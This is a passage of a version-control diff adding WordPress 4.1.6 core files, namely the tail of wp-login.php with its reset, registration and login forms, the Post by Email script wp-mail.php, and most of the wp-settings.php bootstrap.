+	do_action( 'validate_password_reset', $errors, $user );
+
+	if ( ( ! $errors->get_error_code() ) && isset( $_POST['pass1'] ) && !empty( $_POST['pass1'] ) ) {
+		reset_password($user, $_POST['pass1']);
+		setcookie( $rp_cookie, ' ', time() - YEAR_IN_SECONDS, $rp_path, COOKIE_DOMAIN, is_ssl(), true );
+		login_header( __( 'Password Reset' ), '<p class="message reset-pass">' . __( 'Your password has been reset.' ) . ' <a href="' . esc_url( wp_login_url() ) . '">' . __( 'Log in' ) . '</a></p>' );
+		login_footer();
+		exit;
+	}
+
+	wp_enqueue_script('utils');
+	wp_enqueue_script('user-profile');
+
+	login_header(__('Reset Password'), '<p class="message reset-pass">' . __('Enter your new password below.') . '</p>', $errors );
+
+?>
+<form name="resetpassform" id="resetpassform" action="<?php echo esc_url( network_site_url( 'wp-login.php?action=resetpass', 'login_post' ) ); ?>" method="post" autocomplete="off">
+	<input type="hidden" id="user_login" value="<?php echo esc_attr( $rp_login ); ?>" autocomplete="off" />
+
+	<p>
+		<label for="pass1"><?php _e('New password') ?><br />
+		<input type="password" name="pass1" id="pass1" class="input" size="20" value="" autocomplete="off" /></label>
+	</p>
+	<p>
+		<label for="pass2"><?php _e('Confirm new password') ?><br />
+		<input type="password" name="pass2" id="pass2" class="input" size="20" value="" autocomplete="off" /></label>
+	</p>
+
+	<div id="pass-strength-result" class="hide-if-no-js"><?php _e('Strength indicator'); ?></div>
+	<p class="description indicator-hint"><?php echo wp_get_password_hint(); ?></p>
+	<br class="clear" />
+
+	<?php
+	/**
+	 * Fires following the 'Strength indicator' meter in the user password reset form.
+	 *
+	 * @since 3.9.0
+	 *
+	 * @param WP_User $user User object of the user whose password is being reset.
+	 */
+	do_action( 'resetpass_form', $user );
+	?>
+	<input type="hidden" name="rp_key" value="<?php echo esc_attr( $rp_key ); ?>" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Reset Password'); ?>" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a>
+<?php
+if ( get_option( 'users_can_register' ) ) :
+	$registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
+
+	/** This filter is documented in wp-includes/general-template.php */
+	echo ' | ' . apply_filters( 'register', $registration_url );
+endif;
+?>
+</p>
+
+<?php
+login_footer('user_pass');
+break;
+
+case 'register' :
+	if ( is_multisite() ) {
+		/**
+		 * Filter the Multisite sign up URL.
+		 *
+		 * @since 3.0.0
+		 *
+		 * @param string $sign_up_url The sign up URL.
+		 */
+		wp_redirect( apply_filters( 'wp_signup_location', network_site_url( 'wp-signup.php' ) ) );
+		exit;
+	}
+
+	if ( !get_option('users_can_register') ) {
+		wp_redirect( site_url('wp-login.php?registration=disabled') );
+		exit();
+	}
+
+	$user_login = '';
+	$user_email = '';
+	if ( $http_post ) {
+		$user_login = $_POST['user_login'];
+		$user_email = $_POST['user_email'];
+		$errors = register_new_user($user_login, $user_email);
+		if ( !is_wp_error($errors) ) {
+			$redirect_to = !empty( $_POST['redirect_to'] ) ? $_POST['redirect_to'] : 'wp-login.php?checkemail=registered';
+			wp_safe_redirect( $redirect_to );
+			exit();
+		}
+	}
+
+	$registration_redirect = ! empty( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+	/**
+	 * Filter the registration redirect URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $registration_redirect The redirect destination URL.
+	 */
+	$redirect_to = apply_filters( 'registration_redirect', $registration_redirect );
+	login_header(__('Registration Form'), '<p class="message register">' . __('Register For This Site') . '</p>', $errors);
+?>
+
+<form name="registerform" id="registerform" action="<?php echo esc_url( site_url('wp-login.php?action=register', 'login_post') ); ?>" method="post" novalidate="novalidate">
+	<p>
+		<label for="user_login"><?php _e('Username') ?><br />
+		<input type="text" name="user_login" id="user_login" class="input" value="<?php echo esc_attr(wp_unslash($user_login)); ?>" size="20" /></label>
+	</p>
+	<p>
+		<label for="user_email"><?php _e('E-mail') ?><br />
+		<input type="email" name="user_email" id="user_email" class="input" value="<?php echo esc_attr( wp_unslash( $user_email ) ); ?>" size="25" /></label>
+	</p>
+	<?php
+	/**
+	 * Fires following the 'E-mail' field in the user registration form.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'register_form' );
+	?>
+	<p id="reg_passmail"><?php _e('A password will be e-mailed to you.') ?></p>
+	<br class="clear" />
+	<input type="hidden" name="redirect_to" value="<?php echo esc_attr( $redirect_to ); ?>" />
+	<p class="submit"><input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Register'); ?>" /></p>
+</form>
+
+<p id="nav">
+<a href="<?php echo esc_url( wp_login_url() ); ?>"><?php _e( 'Log in' ); ?></a> |
+<a href="<?php echo esc_url( wp_lostpassword_url() ); ?>" title="<?php esc_attr_e( 'Password Lost and Found' ) ?>"><?php _e( 'Lost your password?' ); ?></a>
+</p>
+
+<?php
+login_footer('user_login');
+break;
+
+case 'login' :
+default:
+	$secure_cookie = '';
+	$customize_login = isset( $_REQUEST['customize-login'] );
+	if ( $customize_login )
+		wp_enqueue_script( 'customize-base' );
+
+	// If the user wants ssl but the session is not ssl, force a secure cookie.
+	if ( !empty($_POST['log']) && !force_ssl_admin() ) {
+		$user_name = sanitize_user($_POST['log']);
+		if ( $user = get_user_by('login', $user_name) ) {
+			if ( get_user_option('use_ssl', $user->ID) ) {
+				$secure_cookie = true;
+				force_ssl_admin(true);
+			}
+		}
+	}
+
+	if ( isset( $_REQUEST['redirect_to'] ) ) {
+		$redirect_to = $_REQUEST['redirect_to'];
+		// Redirect to https if user wants ssl
+		if ( $secure_cookie && false !== strpos($redirect_to, 'wp-admin') )
+			$redirect_to = preg_replace('|^http://|', 'https://', $redirect_to);
+	} else {
+		$redirect_to = admin_url();
+	}
+
+	$reauth = empty($_REQUEST['reauth']) ? false : true;
+
+	$user = wp_signon( '', $secure_cookie );
+
+	if ( empty( $_COOKIE[ LOGGED_IN_COOKIE ] ) ) {
+		if ( headers_sent() ) {
+			$user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked due to unexpected output. For help, please see <a href="%1$s">this documentation</a> or try the <a href="%2$s">support forums</a>.' ),
+				__( 'http://codex.wordpress.org/Cookies' ), __( 'https://wordpress.org/support/' ) ) );
+		} elseif ( isset( $_POST['testcookie'] ) && empty( $_COOKIE[ TEST_COOKIE ] ) ) {
+			// If cookies are disabled we can't log in even with a valid user+pass
+			$user = new WP_Error( 'test_cookie', sprintf( __( '<strong>ERROR</strong>: Cookies are blocked or not supported by your browser. You must <a href="%s">enable cookies</a> to use WordPress.' ),
+				__( 'http://codex.wordpress.org/Cookies' ) ) );
+		}
+	}
+
+	$requested_redirect_to = isset( $_REQUEST['redirect_to'] ) ? $_REQUEST['redirect_to'] : '';
+	/**
+	 * Filter the login redirect URL.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string           $redirect_to           The redirect destination URL.
+	 * @param string           $requested_redirect_to The requested redirect destination URL passed as a parameter.
+	 * @param WP_User|WP_Error $user                  WP_User object if login was successful, WP_Error object otherwise.
+	 */
+	$redirect_to = apply_filters( 'login_redirect', $redirect_to, $requested_redirect_to, $user );
+
+	if ( !is_wp_error($user) && !$reauth ) {
+		if ( $interim_login ) {
+			$message = '<p class="message">' . __('You have logged in successfully.') . '</p>';
+			$interim_login = 'success';
+			login_header( '', $message ); ?>
+			</div>
+			<?php
+			/** This action is documented in wp-login.php */
+			do_action( 'login_footer' ); ?>
+			<?php if ( $customize_login ) : ?>
+				<script type="text/javascript">setTimeout( function(){ new wp.customize.Messenger({ url: '<?php echo wp_customize_url(); ?>', channel: 'login' }).send('login') }, 1000 );</script>
+			<?php endif; ?>
+			</body></html>
+<?php		exit;
+		}
+
+		if ( ( empty( $redirect_to ) || $redirect_to == 'wp-admin/' || $redirect_to == admin_url() ) ) {
+			// If the user doesn't belong to a blog, send them to user admin. If the user can't edit posts, send them to their profile.
+			if ( is_multisite() && !get_active_blog_for_user($user->ID) && !is_super_admin( $user->ID ) )
+				$redirect_to = user_admin_url();
+			elseif ( is_multisite() && !$user->has_cap('read') )
+				$redirect_to = get_dashboard_url( $user->ID );
+			elseif ( !$user->has_cap('edit_posts') )
+				$redirect_to = admin_url('profile.php');
+		}
+		wp_safe_redirect($redirect_to);
+		exit();
+	}
+
+	$errors = $user;
+	// Clear errors if loggedout is set.
+	if ( !empty($_GET['loggedout']) || $reauth )
+		$errors = new WP_Error();
+
+	if ( $interim_login ) {
+		if ( ! $errors->get_error_code() )
+			$errors->add('expired', __('Session expired. Please log in again. You will not move away from this page.'), 'message');
+	} else {
+		// Some parts of this script use the main login form to display a message
+		if		( isset($_GET['loggedout']) && true == $_GET['loggedout'] )
+			$errors->add('loggedout', __('You are now logged out.'), 'message');
+		elseif	( isset($_GET['registration']) && 'disabled' == $_GET['registration'] )
+			$errors->add('registerdisabled', __('User registration is currently not allowed.'));
+		elseif	( isset($_GET['checkemail']) && 'confirm' == $_GET['checkemail'] )
+			$errors->add('confirm', __('Check your e-mail for the confirmation link.'), 'message');
+		elseif	( isset($_GET['checkemail']) && 'newpass' == $_GET['checkemail'] )
+			$errors->add('newpass', __('Check your e-mail for your new password.'), 'message');
+		elseif	( isset($_GET['checkemail']) && 'registered' == $_GET['checkemail'] )
+			$errors->add('registered', __('Registration complete. Please check your e-mail.'), 'message');
+		elseif ( strpos( $redirect_to, 'about.php?updated' ) )
+			$errors->add('updated', __( '<strong>You have successfully updated WordPress!</strong> Please log back in to see what&#8217;s new.' ), 'message' );
+	}
+
+	/**
+	 * Filter the login page errors.
+	 *
+	 * @since 3.6.0
+	 *
+	 * @param object $errors      WP Error object.
+	 * @param string $redirect_to Redirect destination URL.
+	 */
+	$errors = apply_filters( 'wp_login_errors', $errors, $redirect_to );
+
+	// Clear any stale cookies.
+	if ( $reauth )
+		wp_clear_auth_cookie();
+
+	login_header(__('Log In'), '', $errors);
+
+	if ( isset($_POST['log']) )
+		$user_login = ( 'incorrect_password' == $errors->get_error_code() || 'empty_password' == $errors->get_error_code() ) ? esc_attr(wp_unslash($_POST['log'])) : '';
+	$rememberme = ! empty( $_POST['rememberme'] );
+?>
+
+<form name="loginform" id="loginform" action="<?php echo esc_url( site_url( 'wp-login.php', 'login_post' ) ); ?>" method="post">
+	<p>
+		<label for="user_login"><?php _e('Username') ?><br />
+		<input type="text" name="log" id="user_login" class="input" value="<?php echo esc_attr($user_login); ?>" size="20" /></label>
+	</p>
+	<p>
+		<label for="user_pass"><?php _e('Password') ?><br />
+		<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" /></label>
+	</p>
+	<?php
+	/**
+	 * Fires following the 'Password' field in the login form.
+	 *
+	 * @since 2.1.0
+	 */
+	do_action( 'login_form' );
+	?>
+	<p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" <?php checked( $rememberme ); ?> /> <?php esc_attr_e('Remember Me'); ?></label></p>
+	<p class="submit">
+		<input type="submit" name="wp-submit" id="wp-submit" class="button button-primary button-large" value="<?php esc_attr_e('Log In'); ?>" />
+<?php	if ( $interim_login ) { ?>
+		<input type="hidden" name="interim-login" value="1" />
+<?php	} else { ?>
+		<input type="hidden" name="redirect_to" value="<?php echo esc_attr($redirect_to); ?>" />
+<?php 	} ?>
+<?php   if ( $customize_login ) : ?>
+		<input type="hidden" name="customize-login" value="1" />
+<?php   endif; ?>
+		<input type="hidden" name="testcookie" value="1" />
+	</p>
+</form>
+
+<?php if ( ! $interim_login ) { ?>
+<p id="nav">
+<?php if ( ! isset( $_GET['checkemail'] ) || ! in_array( $_GET['checkemail'], array( 'confirm', 'newpass' ) ) ) :
+	if ( get_option( 'users_can_register' ) ) :
+		$registration_url = sprintf( '<a href="%s">%s</a>', esc_url( wp_registration_url() ), __( 'Register' ) );
+
+		/** This filter is documented in wp-includes/general-template.php */
+		echo apply_filters( 'register', $registration_url ) . ' | ';
+	endif;
+	?>
+	<a href="<?php echo esc_url( wp_lostpassword_url() ); ?>" title="<?php esc_attr_e( 'Password Lost and Found' ); ?>"><?php _e( 'Lost your password?' ); ?></a>
+<?php endif; ?>
+</p>
+<?php } ?>
+
+<script type="text/javascript">
+function wp_attempt_focus(){
+setTimeout( function(){ try{
+<?php if ( $user_login ) { ?>
+d = document.getElementById('user_pass');
+d.value = '';
+<?php } else { ?>
+d = document.getElementById('user_login');
+<?php if ( 'invalid_username' == $errors->get_error_code() ) { ?>
+if( d.value != '' )
+d.value = '';
+<?php
+}
+}?>
+d.focus();
+d.select();
+} catch(e){}
+}, 200);
+}
+
+<?php if ( !$error ) { ?>
+wp_attempt_focus();
+<?php } ?>
+if(typeof wpOnload=='function')wpOnload();
+<?php if ( $interim_login ) { ?>
+(function(){
+try {
+	var i, links = document.getElementsByTagName('a');
+	for ( i in links ) {
+		if ( links[i].href )
+			links[i].target = '_blank';
+	}
+} catch(e){}
+}());
+<?php } ?>
+</script>
+
+<?php
+login_footer();
+break;
+} // end action switch
Index: /tags/4.1.6/src/wp-mail.php
===================================================================
--- /tags/4.1.6/src/wp-mail.php	(revision 33402)
+++ /tags/4.1.6/src/wp-mail.php	(revision 33402)
@@ -0,0 +1,260 @@
+<?php
+/**
+ * Gets the email message from the user's mailbox to add as
+ * a WordPress post. Mailbox connection information must be
+ * configured under Settings > Writing
+ *
+ * @package WordPress
+ */
+
+/** Make sure that the WordPress bootstrap has run before continuing. */
+require(dirname(__FILE__) . '/wp-load.php');
+
+/** This filter is documented in wp-admin/options.php */
+if ( ! apply_filters( 'enable_post_by_email_configuration', true ) )
+	wp_die( __( 'This action has been disabled by the administrator.' ) );
+
+/**
+ * Fires to allow a plugin to do a complete takeover of Post by Email.
+ *
+ * @since 2.9.0
+ */
+do_action( 'wp-mail.php' );
+
+/** Get the POP3 class with which to access the mailbox. */
+require_once( ABSPATH . WPINC . '/class-pop3.php' );
+
+/** Only check at this interval for new messages. */
+if ( !defined('WP_MAIL_INTERVAL') )
+	define('WP_MAIL_INTERVAL', 300); // 5 minutes
+
+$last_checked = get_transient('mailserver_last_checked');
+
+if ( $last_checked )
+	wp_die(__('Slow down cowboy, no need to check for new mails so often!'));
+
+set_transient('mailserver_last_checked', true, WP_MAIL_INTERVAL);
+
+$time_difference = get_option('gmt_offset') * HOUR_IN_SECONDS;
+
+$phone_delim = '::';
+
+$pop3 = new POP3();
+
+if ( !$pop3->connect( get_option('mailserver_url'), get_option('mailserver_port') ) || !$pop3->user( get_option('mailserver_login') ) )
+	wp_die( esc_html( $pop3->ERROR ) );
+
+$count = $pop3->pass( get_option('mailserver_pass') );
+
+if( false === $count )
+	wp_die( esc_html( $pop3->ERROR ) );
+
+if( 0 === $count ) {
+	$pop3->quit();
+	wp_die( __('There doesn&#8217;t seem to be any new mail.') );
+}
+
+for ( $i = 1; $i <= $count; $i++ ) {
+
+	$message = $pop3->get($i);
+
+	$bodysignal = false;
+	$boundary = '';
+	$charset = '';
+	$content = '';
+	$content_type = '';
+	$content_transfer_encoding = '';
+	$post_author = 1;
+	$author_found = false;
+	$dmonths = array('Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec');
+	foreach ($message as $line) {
+		// Body signal.
+		if ( strlen($line) < 3 )
+			$bodysignal = true;
+		if ( $bodysignal ) {
+			$content .= $line;
+		} else {
+			if ( preg_match('/Content-Type: /i', $line) ) {
+				$content_type = trim($line);
+				$content_type = substr($content_type, 14, strlen($content_type) - 14);
+				$content_type = explode(';', $content_type);
+				if ( ! empty( $content_type[1] ) ) {
+					$charset = explode('=', $content_type[1]);
+					$charset = ( ! empty( $charset[1] ) ) ? trim($charset[1]) : '';
+				}
+				$content_type = $content_type[0];
+			}
+			if ( preg_match('/Content-Transfer-Encoding: /i', $line) ) {
+				$content_transfer_encoding = trim($line);
+				$content_transfer_encoding = substr($content_transfer_encoding, 27, strlen($content_transfer_encoding) - 27);
+				$content_transfer_encoding = explode(';', $content_transfer_encoding);
+				$content_transfer_encoding = $content_transfer_encoding[0];
+			}
+			if ( ( $content_type == 'multipart/alternative' ) && ( false !== strpos($line, 'boundary="') ) && ( '' == $boundary ) ) {
+				$boundary = trim($line);
+				$boundary = explode('"', $boundary);
+				$boundary = $boundary[1];
+			}
+			if (preg_match('/Subject: /i', $line)) {
+				$subject = trim($line);
+				$subject = substr($subject, 9, strlen($subject) - 9);
+				// Captures any text in the subject before $phone_delim as the subject
+				if ( function_exists('iconv_mime_decode') ) {
+					$subject = iconv_mime_decode($subject, 2, get_option('blog_charset'));
+				} else {
+					$subject = wp_iso_descrambler($subject);
+				}
+				$subject = explode($phone_delim, $subject);
+				$subject = $subject[0];
+			}
+
+			/*
+			 * Set the author using the email address (From or Reply-To, the last used)
+			 * otherwise use the site admin.
+			 */
+			if ( ! $author_found && preg_match( '/^(From|Reply-To): /', $line ) ) {
+				if ( preg_match('|[a-z0-9_.-]+@[a-z0-9_.-]+(?!.*<)|i', $line, $matches) )
+					$author = $matches[0];
+				else
+					$author = trim($line);
+				$author = sanitize_email($author);
+				if ( is_email($author) ) {
+					echo '<p>' . sprintf(__('Author is %s'), $author) . '</p>';
+					$userdata = get_user_by('email', $author);
+					if ( ! empty( $userdata ) ) {
+						$post_author = $userdata->ID;
+						$author_found = true;
+					}
+				}
+			}
+
+			if (preg_match('/Date: /i', $line)) { // of the form '20 Mar 2002 20:32:37'
+				$ddate = trim($line);
+				$ddate = str_replace('Date: ', '', $ddate);
+				if (strpos($ddate, ',')) {
+					$ddate = trim(substr($ddate, strpos($ddate, ',') + 1, strlen($ddate)));
+				}
+				$date_arr = explode(' ', $ddate);
+				$date_time = explode(':', $date_arr[3]);
+
+				$ddate_H = $date_time[0];
+				$ddate_i = $date_time[1];
+				$ddate_s = $date_time[2];
+
+				$ddate_m = $date_arr[1];
+				$ddate_d = $date_arr[0];
+				$ddate_Y = $date_arr[2];
+				for ( $j = 0; $j < 12; $j++ ) {
+					if ( $ddate_m == $dmonths[$j] ) {
+						$ddate_m = $j+1;
+					}
+				}
+
+				$time_zn = intval($date_arr[4]) * 36;
+				$ddate_U = gmmktime($ddate_H, $ddate_i, $ddate_s, $ddate_m, $ddate_d, $ddate_Y);
+				$ddate_U = $ddate_U - $time_zn;
+				$post_date = gmdate('Y-m-d H:i:s', $ddate_U + $time_difference);
+				$post_date_gmt = gmdate('Y-m-d H:i:s', $ddate_U);
+			}
+		}
+	}
+
+	// Set $post_status based on $author_found and on author's publish_posts capability
+	if ( $author_found ) {
+		$user = new WP_User($post_author);
+		$post_status = ( $user->has_cap('publish_posts') ) ? 'publish' : 'pending';
+	} else {
+		// Author not found in DB, set status to pending. Author already set to admin.
+		$post_status = 'pending';
+	}
+
+	$subject = trim($subject);
+
+	if ( $content_type == 'multipart/alternative' ) {
+		$content = explode('--'.$boundary, $content);
+		$content = $content[2];
+
+		// Match case-insensitive content-transfer-encoding.
+		if ( preg_match( '/Content-Transfer-Encoding: quoted-printable/i', $content, $delim) ) {
+			$content = explode($delim[0], $content);
+			$content = $content[1];
+		}
+		$content = strip_tags($content, '<img><p><br><i><b><u><em><strong><strike><font><span><div>');
+	}
+	$content = trim($content);
+
+	/**
+	 * Filter the original content of the email.
+	 *
+	 * Give Post-By-Email extending plugins full access to the content, either
+	 * the raw content, or the content of the last quoted-printable section.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param string $content The original email content.
+	 */
+	$content = apply_filters( 'wp_mail_original_content', $content );
+
+	if ( false !== stripos($content_transfer_encoding, "quoted-printable") ) {
+		$content = quoted_printable_decode($content);
+	}
+
+	if ( function_exists('iconv') && ! empty( $charset ) ) {
+		$content = iconv($charset, get_option('blog_charset'), $content);
+	}
+
+	// Captures any text in the body after $phone_delim as the body
+	$content = explode($phone_delim, $content);
+	$content = empty( $content[1] ) ? $content[0] : $content[1];
+
+	$content = trim($content);
+
+	/**
+	 * Filter the content of the post submitted by email before saving.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param string $content The email content.
+	 */
+	$post_content = apply_filters( 'phone_content', $content );
+
+	$post_title = xmlrpc_getposttitle($content);
+
+	if ($post_title == '') $post_title = $subject;
+
+	$post_category = array(get_option('default_email_category'));
+
+	$post_data = compact('post_content','post_title','post_date','post_date_gmt','post_author','post_category', 'post_status');
+	$post_data = wp_slash($post_data);
+
+	$post_ID = wp_insert_post($post_data);
+	if ( is_wp_error( $post_ID ) )
+		echo "\n" . $post_ID->get_error_message();
+
+	// We couldn't post, for whatever reason. Better move forward to the next email.
+	if ( empty( $post_ID ) )
+		continue;
+
+	/**
+	 * Fires after a post submitted by email is published.
+	 *
+	 * @since 1.2.0
+	 *
+	 * @param int $post_ID The post ID.
+	 */
+	do_action( 'publish_phone', $post_ID );
+
+	echo "\n<p>" . sprintf(__('<strong>Author:</strong> %s'), esc_html($post_author)) . '</p>';
+	echo "\n<p>" . sprintf(__('<strong>Posted title:</strong> %s'), esc_html($post_title)) . '</p>';
+
+	if(!$pop3->delete($i)) {
+		echo '<p>' . sprintf(__('Oops: %s'), esc_html($pop3->ERROR)) . '</p>';
+		$pop3->reset();
+		exit;
+	} else {
+		echo '<p>' . sprintf(__('Mission complete. Message <strong>%s</strong> deleted.'), $i) . '</p>';
+	}
+
+}
+
+$pop3->quit();
Index: /tags/4.1.6/src/wp-settings.php
===================================================================
--- /tags/4.1.6/src/wp-settings.php	(revision 33402)
+++ /tags/4.1.6/src/wp-settings.php	(revision 33402)
@@ -0,0 +1,374 @@
+<?php
+/**
+ * Used to set up and fix common variables and include
+ * the WordPress procedural and class library.
+ *
+ * Allows for some configuration in wp-config.php (see default-constants.php)
+ *
+ * @internal This file must be parsable by PHP4.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Stores the location of the WordPress directory of functions, classes, and core content.
+ *
+ * @since 1.0.0
+ */
+define( 'WPINC', 'wp-includes' );
+
+// Include files required for initialization.
+require( ABSPATH . WPINC . '/load.php' );
+require( ABSPATH . WPINC . '/default-constants.php' );
+
+/*
+ * These can't be directly globalized in version.php. When updating,
+ * we're including version.php from another install and don't want
+ * these values to be overridden if already set.
+ */
+global $wp_version, $wp_db_version, $tinymce_version, $required_php_version, $required_mysql_version;
+require( ABSPATH . WPINC . '/version.php' );
+
+// Set initial default constants including WP_MEMORY_LIMIT, WP_MAX_MEMORY_LIMIT, WP_DEBUG, WP_CONTENT_DIR and WP_CACHE.
+wp_initial_constants();
+
+// Check for the required PHP version and for the MySQL extension or a database drop-in.
+wp_check_php_mysql_versions();
+
+// Disable magic quotes at runtime. Magic quotes are added using wpdb later in wp-settings.php.
+@ini_set( 'magic_quotes_runtime', 0 );
+@ini_set( 'magic_quotes_sybase',  0 );
+
+// WordPress calculates offsets from UTC.
+date_default_timezone_set( 'UTC' );
+
+// Turn register_globals off.
+wp_unregister_GLOBALS();
+
+// Standardize $_SERVER variables across setups.
+wp_fix_server_vars();
+
+// Check if we have received a request due to missing favicon.ico
+wp_favicon_request();
+
+// Check if we're in maintenance mode.
+wp_maintenance();
+
+// Start loading timer.
+timer_start();
+
+// Check if we're in WP_DEBUG mode.
+wp_debug_mode();
+
+// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
+if ( WP_CACHE )
+	WP_DEBUG ? include( WP_CONTENT_DIR . '/advanced-cache.php' ) : @include( WP_CONTENT_DIR . '/advanced-cache.php' );
+
+// Define WP_LANG_DIR if not set.
+wp_set_lang_dir();
+
+// Load early WordPress files.
+require( ABSPATH . WPINC . '/compat.php' );
+require( ABSPATH . WPINC . '/functions.php' );
+require( ABSPATH . WPINC . '/class-wp.php' );
+require( ABSPATH . WPINC . '/class-wp-error.php' );
+require( ABSPATH . WPINC . '/plugin.php' );
+require( ABSPATH . WPINC . '/pomo/mo.php' );
+
+// Include the wpdb class and, if present, a db.php database drop-in.
+require_wp_db();
+
+// Set the database table prefix and the format specifiers for database table columns.
+$GLOBALS['table_prefix'] = $table_prefix;
+wp_set_wpdb_vars();
+
+// Start the WordPress object cache, or an external object cache if the drop-in is present.
+wp_start_object_cache();
+
+// Attach the default filters.
+require( ABSPATH . WPINC . '/default-filters.php' );
+
+// Initialize multisite if enabled.
+if ( is_multisite() ) {
+	require( ABSPATH . WPINC . '/ms-blogs.php' );
+	require( ABSPATH . WPINC . '/ms-settings.php' );
+} elseif ( ! defined( 'MULTISITE' ) ) {
+	define( 'MULTISITE', false );
+}
+
+register_shutdown_function( 'shutdown_action_hook' );
+
+// Stop most of WordPress from being loaded if we just want the basics.
+if ( SHORTINIT )
+	return false;
+
+// Load the L10n library.
+require_once( ABSPATH . WPINC . '/l10n.php' );
+
+// Run the installer if WordPress is not installed.
+wp_not_installed();
+
+// Load most of WordPress.
+require( ABSPATH . WPINC . '/class-wp-walker.php' );
+require( ABSPATH . WPINC . '/class-wp-ajax-response.php' );
+require( ABSPATH . WPINC . '/formatting.php' );
+require( ABSPATH . WPINC . '/capabilities.php' );
+require( ABSPATH . WPINC . '/query.php' );
+require( ABSPATH . WPINC . '/date.php' );
+require( ABSPATH . WPINC . '/theme.php' );
+require( ABSPATH . WPINC . '/class-wp-theme.php' );
+require( ABSPATH . WPINC . '/template.php' );
+require( ABSPATH . WPINC . '/user.php' );
+require( ABSPATH . WPINC . '/session.php' );
+require( ABSPATH . WPINC . '/meta.php' );
+require( ABSPATH . WPINC . '/general-template.php' );
+require( ABSPATH . WPINC . '/link-template.php' );
+require( ABSPATH . WPINC . '/author-template.php' );
+require( ABSPATH . WPINC . '/post.php' );
+require( ABSPATH . WPINC . '/post-template.php' );
+require( ABSPATH . WPINC . '/revision.php' );
+require( ABSPATH . WPINC . '/post-formats.php' );
+require( ABSPATH . WPINC . '/post-thumbnail-template.php' );
+require( ABSPATH . WPINC . '/category.php' );
+require( ABSPATH . WPINC . '/category-template.php' );
+require( ABSPATH . WPINC . '/comment.php' );
+require( ABSPATH . WPINC . '/comment-template.php' );
+require( ABSPATH . WPINC . '/rewrite.php' );
+require( ABSPATH . WPINC . '/feed.php' );
+require( ABSPATH . WPINC . '/bookmark.php' );
+require( ABSPATH . WPINC . '/bookmark-template.php' );
+require( ABSPATH . WPINC . '/kses.php' );
+require( ABSPATH . WPINC . '/cron.php' );
+require( ABSPATH . WPINC . '/deprecated.php' );
+require( ABSPATH . WPINC . '/script-loader.php' );
+require( ABSPATH . WPINC . '/taxonomy.php' );
+require( ABSPATH . WPINC . '/update.php' );
+require( ABSPATH . WPINC . '/canonical.php' );
+require( ABSPATH . WPINC . '/shortcodes.php' );
+require( ABSPATH . WPINC . '/class-wp-embed.php' );
+require( ABSPATH . WPINC . '/media.php' );
+require( ABSPATH . WPINC . '/http.php' );
+require( ABSPATH . WPINC . '/class-http.php' );
+require( ABSPATH . WPINC . '/widgets.php' );
+require( ABSPATH . WPINC . '/nav-menu.php' );
+require( ABSPATH . WPINC . '/nav-menu-template.php' );
+require( ABSPATH . WPINC . '/admin-bar.php' );
+
+// Load multisite-specific files.
+if ( is_multisite() ) {
+	require( ABSPATH . WPINC . '/ms-functions.php' );
+	require( ABSPATH . WPINC . '/ms-default-filters.php' );
+	require( ABSPATH . WPINC . '/ms-deprecated.php' );
+}
+
+// Define constants that rely on the API to obtain the default value.
+// Define must-use plugin directory constants, which may be overridden in the sunrise.php drop-in.
+wp_plugin_directory_constants();
+
+$GLOBALS['wp_plugin_paths'] = array();
+
+// Load must-use plugins.
+foreach ( wp_get_mu_plugins() as $mu_plugin ) {
+	include_once( $mu_plugin );
+}
+unset( $mu_plugin );
+
+// Load network activated plugins.
+if ( is_multisite() ) {
+	foreach( wp_get_active_network_plugins() as $network_plugin ) {
+		wp_register_plugin_realpath( $network_plugin );
+		include_once( $network_plugin );
+	}
+	unset( $network_plugin );
+}
+
+/**
+ * Fires once all must-use and network-activated plugins have loaded.
+ *
+ * @since 2.8.0
+ */
+do_action( 'muplugins_loaded' );
+
+if ( is_multisite() )
+	ms_cookie_constants(  );
+
+// Define constants after multisite is loaded. Cookie-related constants may be overridden in ms_network_cookies().
+wp_cookie_constants();
+
+// Define and enforce our SSL constants
+wp_ssl_constants();
+
+// Create common globals.
+require( ABSPATH . WPINC . '/vars.php' );
+
+// Make taxonomies and posts available to plugins and themes.
+// @plugin authors: warning: these get registered again on the init hook.
+create_initial_taxonomies();
+create_initial_post_types();
+
+// Register the default theme directory root
+register_theme_directory( get_theme_root() );
+
+// Load active plugins.
+foreach ( wp_get_active_and_valid_plugins() as $plugin ) {
+	wp_register_plugin_realpath( $plugin );
+	include_once( $plugin );
+}
+unset( $plugin );
+
+// Load pluggable functions.
+require( ABSPATH . WPINC . '/pluggable.php' );
+require( ABSPATH . WPINC . '/pluggable-deprecated.php' );
+
+// Set internal encoding.
+wp_set_internal_encoding();
+
+// Run wp_cache_postload() if object cache is enabled and the function exists.
+if ( WP_CACHE && function_exists( 'wp_cache_postload' ) )
+	wp_cache_postload();
+
+/**
+ * Fires once activated plugins have loaded.
+ *
+ * Pluggable functions are also available at this point in the loading order.
+ *
+ * @since 1.5.0
+ */
+do_action( 'plugins_loaded' );
+
+// Define constants which affect functionality if not already defined.
+wp_functionality_constants();
+
+// Add magic quotes and set up $_REQUEST ( $_GET + $_POST )
+wp_magic_quotes();
+
+/**
+ * Fires when comment cookies are sanitized.
+ *
+ * @since 2.0.11
+ */
+do_action( 'sanitize_comment_cookies' );
+
+/**
+ * WordPress Query object
+ * @global object $wp_the_query
+ * @since 2.0.0
+ */
+$GLOBALS['wp_the_query'] = new WP_Query();
+
+/**
